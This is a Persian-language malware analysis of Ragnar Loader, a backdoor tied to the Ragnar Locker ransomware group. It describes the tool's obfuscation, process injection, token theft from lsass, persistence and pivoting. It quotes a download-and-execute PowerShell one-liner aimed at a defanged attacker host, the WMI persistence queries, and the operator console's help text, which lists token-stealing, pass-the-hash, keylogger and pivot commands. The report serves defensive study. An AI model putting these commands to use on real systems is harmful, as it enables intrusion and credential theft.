Ragnar Loader که با نام Sardonic Backdoor شناخته میشود، یک ابزار پیشرفته است که توسط گروه باجافزاری Monstrous Mantis معروف به Ragnar Locker توسعه داده شده است. این گروه از سال 2020 تاکنون حملات هدفمند سایبری را علیه سازمانهای مختلف انجام داده است. Ragnar Loader که در دنیای تهدیدات سایبری تحت عنوان Ragnar Framework شناخته میشود، نقش مهمی در حفظ دسترسی مداوم در سیستمهای آلوده ایفا میکند. هدف اصلی این بدافزار، ایجاد یک پایگاه طولانیمدت در محیطهای هدف و تسهیل عملیات مخرب در بلندمدت است.
این ابزار بهعنوان یکی از اجزای کلیدی اکوسیستم باجافزار Monstrous Mantis، از تکنیکهای پیچیدهای برای دور زدن مکانیزمهای امنیتی و افزایش مقاومت عملیاتی خود استفاده میکند. این بدافزار از لایههای چندگانه مبهمسازی، روشهای رمزنگاری پویا و مکانیزمهای ماندگاری پیشرفته بهره میبرد، که شناسایی و مقابله با آن را برای راهکارهای امنیتی سنتی دشوار میسازد.
این گزارش تحلیلی به بررسی نحوه عملکرد داخلی Ragnar Loader پرداخته و تکنیکها و قابلیتهای اصلی آن را معرفی میکند. این بدافزار از پیلودهای مبتنی بر PowerShell استفاده کرده و با بهرهگیری از روشهای رمزگذاری و کدگذاری قوی (از جمله RC4 و Base64)، عملیات خود را پنهان میکند. همچنین، از تکنیکهای تزریق در پروسه های (process injection) پیچیده، برای ایجاد و حفظ کنترل مخفیانه روی سیستمهای آلوده استفاده میکند. این قابلیتها به آن کمک میکند تا بهطور مؤثری از شناسایی دور بماند و در محیطهای هدف باقی بماند.
تحلیل فنی Ragnar Loader
Ragnar Locker یک فایل زیپ شامل مجموعهای از ابزارهای پیشرفته برای اجرای عملیات مخرب ارائه میدهد. این فایل زیپ شامل موارد زیر است:
- یک فایل شل معکوس (Reverse Shell) برای کنترل از راه دور
- یک ابزار افزایش سطح دسترسی محلی
- یک فایل دسترسی دسکتاپ از راه دور(RDP)
- یک فایل متنی که دستورالعملهای استفاده از هر یک از اجزا را توضیح میدهد
پکیج Ragnar Loader شامل چندین اسکریپت PowerShell است که برای فعالسازی قابلیت کنترل از راه دور طراحی شدهاند. این اسکریپتها بهطور عمدی مبهمسازی شدهاند تا بارگذاری فایلهای باینری و استفاده از تکنیکهای process injection را تسهیل کنند. تحلیل جامع این قابلیتها در بخشهای بعدی گزارش ارائه شده است.
برخی از اسکریپتهای PowerShell که با پیشوند RunSchedulerTask مشخص شدهاند، برای اجرای یک نود (Node) ارتباطی بین سیستم آلوده و مهاجم استفاده میشوند. از دید مهاجم، یک سیستم آلوده بهعنوان یک نود در چارچوب عملیاتی آنها عمل میکند و امکان کنترل و نظارت را فراهم میسازد. این فرآیند در تصویر زیر نمایش داده شده است:

علاوه بر این، یک اسکریپت PowerShell به عنوان فایل واسط با نام RunPvt.ps1 موجود است که از یک تابع پروکسی برای سیستمهایی که اتصال مستقیم به اینترنت ندارند استفاده میکند. جزئیات بیشتر در بخش فایل واسط ارائه شده است.
همچنین، پکیج شامل یک اسکریپت مخصوص دسترسی دسکتاپ از راه دور است که دستورالعملی برای استفاده از آن در فایل راهنما وجود ندارد؛ اما توضیح آن در بخش فایل پروتکل دسکتاپ از راه دور آمده است.
یکی دیگر از اجزای کلیدی این مجموعه، یک فایل با نام bc است که برای برقراری اتصالات از راه دور طراحی شده است. این فایل یک شل تعاملی از راه دور ایجاد میکند که به مهاجم امکان اجرای دستورات خط فرمان را به طور مستقیم بر روی سیستم آلوده میدهد. همچنین، رابط پنل کنترلی که برای اجرای دستورات از طریق شل از راه دور یا PowerShell استفاده میشود، در تصویر زیر نمایش داده شده است.رای تغییر این متن بر روی دکمه ویرایش کلیک کنید.

ابزارهای Ragnar Loader
همانطور که در بخش قبلی اشاره شد، Ragnar Loader دارای یک مجموعه ابزار جامع برای انتشار بدافزار لودر خود است. این مجموعه شامل اجزاء اصلی زیر است:
- اسکریپت مقداردهی اولیه نود(Node)
- فایل واسط (Pivoting file)
- فایل دسترسی به دسکتاپ از راه دور
- فایل اسکریپت اجرای کد از راه دور
اسکریپت مقداردهی اولیه گره در Ragnar Loader
اسکریپت مقداردهی اولیه گره معمولاً با استفاده از دستورات PowerShell زیر روی سیستم قربانی اجرا میشود:
powershell.exe -nop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString('https://104-238-34-209[.]nip[.]io/4c8b09')
این دستور یک پیلود PowerShell را دانلود و اجرا میکند که عملکرد مشابه سه اسکریپت مبهمشده RunScheduledTask.ps1، RunScheduledTaskOnce.ps و RunScheduledTaskU.ps1 را دارد. این اسکریپتها برای بارگیری فایل پیادهسازی شده با زبان C#این بدافزار استفاده میشوند. اگرچه هر سه جزء به یک فایل C# وابسته هستند، اما هر کدام مکانیزمهای اجرای خاص خود را دارند که باعث تنوع در روشهای ماندگاری آنها میشود. این تفاوتها به هریک از اجزا اجازه انجام عملیات مستقل داده و همچنان ساختار چارچوب اصلی حفظ می شود.
اسکریپت مبهم سازی شده RunScheduledTask.ps1 در شکل زیر نشان داده شده است:

همانطور که در تصویر بالا اسکریپت مبهمشده RunScheduledTask.ps1 مشاهده میشود، شامل یک متغیر ccc است که یک تابع رمزگشایی Base64 را روی یک رشته کدگذاریشده اعمال میکند. پس از رمزگشایی، یک قطعه کد جدید (مطابق تصویر زیر) آشکار میشود.

بعد از شناسایی مقدار متغیر ccc، یک روتین رمزگشایی(تابع) RC4 مشخص میشود که در تصویر قبلی نمایش داده شده است. این تابع RC4 برای ایجاد متغیر $b1512 استفاده میشود. این تابع دو آرگومان دریافت میکند: محتوای رمزگذاریشده و کلید مورد استفاده برای رمزگشایی RC4. متغیر $cd13 از طریق Base64 رمزگشایی شده، در متغیر $92D111 قرار می گیرد و به عنوان محتوای رمزگشاییشده مورد استفاده قرار میگیرد، در حالی که اولین آرگومان اسکریپت، $2cb10، به عنوان کلید رمزگشایی به کار میرود.
علاوه بر این اسکریپتهای مخرب PowerShell، یک فایل راهنما شامل دستور زیر برای اجرای اسکریپت ارائه شده است:
powershell.exe -nop -ep bypass -c RunSchedulerTask.ps1 491D57dF1cB63A2a90f56403be788E2C <[optional] processId to kill)>
اولین آرگومان در این دستور، کلید RC4 است که برای رمزگشایی استفاده میشود. پس از اعمال رمزگشایی RC4 و کدگشایی Base64 روی متغیر $cd13، یک قطعه کد جدید ظاهر میشود.

این کد شامل یک رشته Base64 رمزگذاریشده است که پس از رمزگشایی، یک فایل Windows Portable Executable (PE) توسعهیافته با زبان C# را نشان میدهد.

بررسی کد موجود در جدیدترین اسکریپت PowerShell نشان میدهد که متغیر Fac8 مسئول بارگذاری تابع [ae50E859.bca147dCf08]::c8AEF4Dc292() از فایل .NET است.

فایل .NET توسط چندین تکنیک ضدتحلیل که توسط ConfuserEx ارائه شدهاند، مبهمسازی شده است. این تکنیکها شامل ضد دستکاری (Anti-Tamper) و ضد دامپینگ (Anti-Dumping) هستند. در نتیجه، بدون انجام یک دامپ حافظه در زمان اجرا (Runtime Dump)، توابع مخفی باقی میمانند.

با قرار دادن یک بریک پوینت در متد سازنده استاتیک (cctor) ماژول، تحلیلگران میتوانند فایل را دامپ کرده و توابع رمزگشاییشده را مشاهده کنند. با این حال، به دلیل اقدامات ضد دامپینگ، هدر فایل .NET خراب میشود و ابزارهای تحلیل استاتیک در باز کردن فایل شکست میخورند.

با جایگزینی هدر خراب COR20 در DLL دامپشده با هدر اصلی، بدنه توابع رمزگشاییشده قابل مشاهده میشود.

لودر .NET دادههای رمزگذاریشده را ابتدا فشردهسازی کرده و سپس روی آنها رمزگشایی RC4 را اعمال میکند. پس از رمزگشایی، اجرای کد به شلکد (Shellcode) از طریق runDelegateFunction منتقل میشود.
شلکد دارای رفتار خود تغییر دهنده (Self-Modifying Behavior) است. تصویر زیر روند رمزگشایی XOR در اولین لایه رمزگشایی شلکد را نشان میدهد.

پس از رمزگشایی شلکد، تابع تزریق (Injector Function) اجرا میشود تا فرآیند اجرای شلکد ادامه پیدا کند.

همانند لودر .NET، شلکد نیز از تکنیکهای ضدتحلیل (Anti-Analysis) استفاده میکند. از جمله این روشها میتوان به رمزنگاری رشتهها در زمان اجرا و دستکاری جریان کنترل برای پیچیدهسازی منطق اجرایی اشاره کرد.
با وجود این اقدامات، تکنیکهای مورد استفاده در Ragnar Loader با ابزارهای متنبازی مانند FLOSS که قادر به شفافسازی رشتهها در زمان تحلیل است، قابل دور زدن هستند.

همچنین، روال کنترل مبهم سازی شده با ابزار D810 قابل سادهسازی است. این ابزار به تحلیلگران اجازه میدهد تا منطق مبهمسازی شده را شفاف کرده و درک بهتری از عملکرد کد به دست آورند.

شلکد، توابع موردنیاز خود را از طریق تجزیه جداول ایمپورت (Import Tables) فایل های DLL و تطبیق آنها با توابع مورد نظر شناسایی میکند. پس از شناسایی، آدرس این توابع در یک متغیر ذخیره میشود و سپس هنگام فراخوانی هر تابع، به عنوان آرگومان به آن منتقل میگردد. این روش امکان شناسایی و استفاده پویا از توابع حیاتی را در طول اجرا فراهم میسازد.

برخلاف بسیاری از بدافزارها که از مقایسه هش یا CRC برای شناسایی توابع استفاده میکنند، این بکدور از مقایسه رشتهای مستقیم برای پیدا کردن توابع مورد نظر خود استفاده میکند که باعث افزایش کارایی و سادگی در بازیابی توابع میشود.

روش تزریق و ماندگاری Ragnar Loader
هدف تابع تزریق (Injector Function) این است که بکدور را در پروسه WmiPrvSE.exe اجرا کند. در طول ایجاد این پروسه، این تابع تلاش میکند تا آن را با توکنی که از پروسه lsass.exe دزدیده شده است اجرا کند.

علاوه بر این، در زمان اجرا، بدافزار پروسه WmiPrvSE را اجرا کرده و یک بخش از حافظه حاوی بکدور را تزریق میکند. این تکنیک با اجرای پیلود در یک پروسه قانونی ویندوز، قابلیت استتار و دور زدن مکانیزمهای امنیتی را فراهم میکند.

بکدور Ragnar Loader از سه روش مجزا برای اجرای پلاگینها و گسترش قابلیتهای خود استفاده میکند:
- اجرای فایل PE: بکدور یک فایل Portable Executable (PE) را دریافت کرده و توابع Start و End آن را درون DLL با آرگومان های دلخواه اجرا میکند. پس از گرفتن خروجی از تابع، آن به سرور فرمان و کنترل (C2) ارسال میکند.

- اجرای شلکد با آرگومان: قبل از اجرا، بکدور یک پروسه جدید ایجاد کرده و شلکد و آرگومانهای آن را در حافظه پروسه مینویسد. سپس برای اجرای شلکد با آرگومانهای مشخصشده QueueUserAPC API فراخوانی میشود. در صورتی که دستور توقف اجرای شلکد صادر شود، پروسه حاوی شلکد خاتمه داده میشود.
- اجرای شلکد در پروسه بکدور: شلکد بهعنوان یک subroutine اجرا شده و آرگومانهای آن از طریق رجیسترهای مربوطه تنظیم میشوند.
دستورات قابل اجرا توسط سرور فرمان و کنترل
بکدور میتواند چندین فرمان از سرور فرمان و کنترل دریافت کند، از جمله:
- 0x24c: خروج از بکدور و بازگشت به نقطه ورودی
- 0x274: بارگذاری یک پلاگین DLL
- 0x1d4: بستن نشست تعاملی
- 0x1fc: خواندن و استخراج اطلاعات یک فایل دلخواه
- 0x224: حذف یک فایل جدید
- 0x184: ایجاد یک نشست تعاملی برای اجرای یک پروسه دلخواه
- 0x454: اجرای شلکد دریافتی
- 0x1ac: توقف پروسه در نشست تعاملی مشخص
- 0x29c: حذف پلاگین DLL
- 0x404: خروج از بکدور و خاتمه پروسه
- 0x4f4: اجرای یک پلاگین شلکد
ماندگاری از طریق فیلترهای WMI
اسکریپت RunScheduledTask.ps1 برای ایجاد ماندگاری بدون فایل از فیلترهای WMI استفاده میکند. این اسکریپت دو فیلتر ایجاد میکند:
- یک فیلتر که در هر بوت (زمانی که مدت زمان روشن بودن سیستم بین 140 تا 250 ثانیه باشد) اجرا می شود.
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 140
AND TargetInstance.SystemUpTime < 250
- یک فیلتر که هر 4 ثانیه اجرا می شود:
SELECT * FROM __InstanceModificationEvent WITHIN 4
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
در شکل زیر نتیجه اجرای این فیلتر ها را در لیست پروسه ها مشاهده می کنید:

ماندگاری از طریق Scheduled Task
برخلاف روش قبلی، اسکریپت RunScheduledTaskU.ps1 تلاش میکند تا با ایجاد یک تسک زمانبندیشده(Scheduled Task) ماندگاری خود را حفظ کند. این وظیفه یک بار در روز در ساعت مشخصی اجرا میشود. این تسک، Ragnar Loader را بارگیری کرده و یک تابع را اجرا میکند. فایل باینری حاصل در کلید رجیستری AppRoaming ذخیره میشود.

اجرای مستقیم لودر از طریق اسکریپت مبهمشده
اسکریپت RunScheduledTaskOnce.ps1 یک فایل .NET Assembly را بارگیری کرده و تابع موردنظر را به طور مستقیم اجرا میکند. این روش برخلاف موارد قبل، لودر را بهصورت مستقیم اجرا کرده و به ثبت در رجیستری یا فیلترهای WMI وابسته نیست.

این روشها نشان میدهند که Ragnar Loader از تکنیکهای چندلایه برای ماندگاری در سیستمهای آلوده استفاده میکند، بهطوری که حذف آن بدون تحلیل دقیق پروسهها و رجیستری دشوار خواهد بود.
فایل واسط در Ragnar Loader
Ragnar Loader از یک فایل واسط برای گسترش دسترسی در شبکه استفاده میکند. این فایل یک اسکریپت PowerShell است که برای گسترش آلودگی به سایر سیستمهای شبکه طراحی شده است. اجرای دستور زیر از طریق خط فرمان ویندوز، اتصال بین IP و پورت مشخصشده از راه دور را برقرار میکند:
powershell.exe -nop -ep bypass -c RunPvt.ps1

برای مشاهده پردازشهای ایجادشده و ارتباطات TCP مرتبط، میتوان از ابزار TCPView استفاده کرد. در شکل زیر نمونه ای از آن را مشاهده می کنید:

فایل دسترسی به دسکتاپ از راه دور در Ragnar Loader
جزء دیگر Ragnar Loader شامل یک فایل دسترسی به دسکتاپ از راه دور (RDP) است که در قالب یک اسکریپت PowerShell ارائه شده است. با اینکه این فایل توسط مهاجمان ایجاد نشده است، اما به صورت فعال Ragnar Loader از آن استفاده می کند.

عملکرد اسکریپت RDP:
- استخراج اطلاعات ورود به سیستم از طریق کنسول یا RDP
- ایجاد یک گزارش در فایل اکسل شامل رویدادهای مرتبط با ورود کاربران
تصویر زیر، کدی را نشان میدهد که مسئول بازیابی تمام لاگهای رویداد ویندوز(Windows Event Log) مرتبط با سرورهای مشخصشده است:

رویدادهای استخراجشده بر اساس Event ID فیلتر شده و به فایل اکسل منتقل میشوند.

فایل اسکریپت اجرای کد از راه دور در Ragnar Loader
یکی از اجزای اصلی Ragnar Loader، یک فایل اجرایی لینوکسی (ELF) با نام bc است که برای کنترل عملیات در سیستم هدف پس از ایجاد شل معکوس استفاده میشود. نسخه تحلیلشده این فایل نسخه 1.2.0 است و شامل یک راهنمای کامل دستورات در لینک منبع است.
> help
Usage:
[help] - display this message
[q] - quit from console
[rc] - reload config
[stm] - get/set timeout for clients when waiting for output, arguments: [-s]: new timeout in seconds
[lc] - list clients
[lch] - list channels for active client
[lm] - list active modules for active client
[ul] - upload file, arguments: [1] local file path [2] remote full path to save file (including file name!)
[dl] - download file, arguments: [1] remote full path to file
[lt] - list session tokens, not really used
[st] - steal token, arguments: [-i]: process id to get token from, [-c] command to run with selected token
[rt] - return token
[tun] - run socks dll module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] proxifier server ip or domain name for client to connect to, [-p] proxifier server port for client to connect to, [-k] key proxifier server is running with
[ft] - run ftp dll module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] proxifier server ip or domain name for client to connect to, [-p] proxifier server port for client to connect to, [-k] key proxifier server is running with, [-r] ftp root folder (e.g. C:), [-a] ftp auth string (acts both like login and password)
[vnc] - run VNC dll module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] proxifier server ip or domain name for client to connect to, [-p] proxifier server port for client to connect to, [-k] key proxifier server is running with, [-a] vnc auth password, [-s] process id to grab user session within which to run
[kl] - run keystroker module, arguments: [-b]: bitness ('x64' or 'x32'), [-i] command server ip/domain name for client to connect to OR filename to write to, [-p] command server port for client to connect to OR assign '0' to write to a file, [-d] duration to run in seconds, [-s] process id to grab user session within which to run
[pvt] - run transparrent TCP proxy aka pivot, arguments: [-b]: bitness ('x64' or 'x32'), [-l] port to listen to, [-i] ip to redirect to, [-p] port to redirect to
[pth] - run pass-the-hash module to spawn a process and then patch lsass.exe for it with the specified NTLM hash, can use [lm] to get spawned process id and [st] to steal the token if needed, arguments: [-b]: bitness ('x64' or 'x32'), [-u] username, [-d] domain ('.' for local), [-h] NTLM hash, [-c] command (e.g. cmd.exe)
[stp] - stop currently running dll module
[fc] - force clear file exchange channel
[dc] - close open channel and disconnect
[ex] - disconnect without closing opened channels
[perskill] - remove persistance for active client
[shkill] - shutdown this module for active client (deprecated: legacy compatibility)
[hardkill] - shutdown THE WHOLE PROC
ابزار bc از یک فایل پیکربندی JSON با نام config.cfg برای بارگذاری دستورات اضافی استفاده میکند. هر دستور بهصورت یک لیست از عملیاتهای محلی و از راه دور تعریف میشود که بهترتیب اجرا میشوند. در اینجا نمونهای از ورودی JSON برای این پیکربندی آمده است:
{
"ns": [
{
"run": "remote",
"text": "nslookup $1 $2"
}
],
"wh": [
{
"run": "local",
"text": "touch test.bat"
},
{
"run": "local",
"text": "ul test.bat C:\tmp\test_remote. bat"
},
{
"run": "remote",
"text": "whoami"
},
{
"run": "remote",
"text": "runas $0 C:\test_remote.bat"
}
]
}
جمعبندی
تحلیل Ragnar Loader نشاندهنده یک بدافزار بسیار پیشرفته است که برای نفوذ و حفظ ماندگاری در محیطهای هدف طراحی شده است. این ابزار از تکنیکهای پیچیدهای زیر استفاده می کند:
- مبهمسازی پیشرفته
- رمزگذاری ( RC4 و Base64)
- تزریق پروسه به صورت پویا
- تکنیک های ضدتحلیل
- دستکاری توکنها
- گسترش دسترسی در شبکه
این ویژگیها نشاندهنده تکامل بدافزارهای مدرن در اکوسیستم باجافزارها است. بررسی عمیق Ragnar Loader نشان میدهد که نیاز به سیستمهای شناسایی قدرتمند، نظارت مستمر و اقدامات امنیتی پیشگیرانه برای مقابله با چنین تهدیدات پیچیدهای بیش از پیش ضروری است.